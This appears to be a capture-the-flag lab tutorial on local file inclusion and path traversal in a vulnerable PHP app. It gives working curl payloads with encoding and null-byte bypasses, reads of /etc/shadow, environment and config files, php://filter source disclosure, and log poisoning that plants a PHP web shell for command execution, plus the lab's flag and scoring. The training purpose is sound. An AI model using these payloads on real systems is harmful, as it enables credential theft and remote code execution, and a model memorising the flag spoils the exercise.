Detecting Lfi Path Traversal Vulnerabilities

⚠️ Educational Use Only — LFI exploitation on unauthorized systems violates computer access laws. This skill is for authorized penetration testing, CTF practice, and learning to write secure code. Practice only in provided lab environments.

When to Use

• During authorized web app pentests when parameters control file paths (?page=home, ?file=../)
• In CTF challenges where reading /etc/passwd or a flag file is required
• When auditing PHP applications that use include() or require() with user input
• As a prerequisite for remote file inclusion (RFI), log poisoning, and PHP filter chain attacks
• When reviewing code for path traversal vulnerabilities in file upload or download handlers

Prerequisites

• Knowledge: Basic HTTP GET parameters, Linux filesystem layout (/etc/passwd, /var/log/)
• Lab: labs/web-application/lfi-traversal — start with agentlab start lfi-traversal
• Difficulty: Intermediate
• Time: 30–45 minutes

Workflow

Step 1: Start the Lab

agentlab start lfi-traversal
# Vulnerable PHP app at http://localhost:8083/?page=home

Step 2: Identify File Inclusion Parameters

Look for URL parameters that reference file names or paths:

http://target/?page=home
http://target/?file=about
http://target/?template=default
http://target/download.php?path=report.pdf

Step 3: Test Basic Path Traversal

# Try to read /etc/passwd
curl "http://localhost:8083/?page=../../../etc/passwd"

# With .php extension appended by app (bypass with null byte — PHP < 5.3.4)
curl "http://localhost:8083/?page=../../../etc/passwd%00"

# Double encoding bypass
curl "http://localhost:8083/?page=..%252F..%252F..%252Fetc%252Fpasswd"

# Filter bypass with mixed traversal
curl "http://localhost:8083/?page=....//....//....//etc/passwd"

Positive indicator: /etc/passwd content appears in the response:

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Step 4: Read Sensitive Files

Once LFI is confirmed, enumerate useful files:

# Common Linux targets
curl "http://localhost:8083/?page=../../../etc/passwd"
curl "http://localhost:8083/?page=../../../etc/shadow"        # Requires root
curl "http://localhost:8083/?page=../../../proc/self/environ" # Environment vars
curl "http://localhost:8083/?page=../../../var/log/apache2/access.log"  # For log poisoning

# Read the app's own source code
curl "http://localhost:8083/?page=../../../var/www/html/config.php"

Step 5: PHP Wrapper — Base64 Source Disclosure

When the app appends .php, use PHP wrappers to read source:

# php://filter wrapper — encode output as base64 to read PHP files
curl "http://localhost:8083/?page=php://filter/convert.base64-encode/resource=config"

# Decode the result
echo "<base64-output>" | base64 -d
# Reveals: <?php $db_pass = 'supersecret'; ?>

Step 6: Log Poisoning for RCE (Lab Only)

If you can read Apache access logs AND inject into them:

# Step 1: Plant PHP code in the User-Agent header (it gets logged)
curl -A "<?php system(\$_GET['cmd']); ?>" http://localhost:8083/

# Step 2: Include the log file via LFI and execute commands
curl "http://localhost:8083/?page=../../../var/log/apache2/access.log&cmd=id"
# Output: uid=33(www-data) gid=33(www-data)

Lab isolation note: Command execution is sandboxed to the target container. No host access.

Step 7: Capture the Flag

# The flag is in /flag.txt on the target container
curl "http://localhost:8083/?page=../../../flag.txt"
# FLAG{lfi_traversal_complete}

Key Concepts

Tools

Output / Verification

agentlab verify lfi-traversal "FLAG{lfi_traversal_complete}"

Score: 100 points for /etc/passwd, 150 for flag.txt, 200 bonus for log poisoning RCE

Further Reading

• OWASP Path Traversal
• PortSwigger LFI Labs
• MITRE ATT&CK: T1190 | T1083
• PayloadsAllTheThings — File Inclusion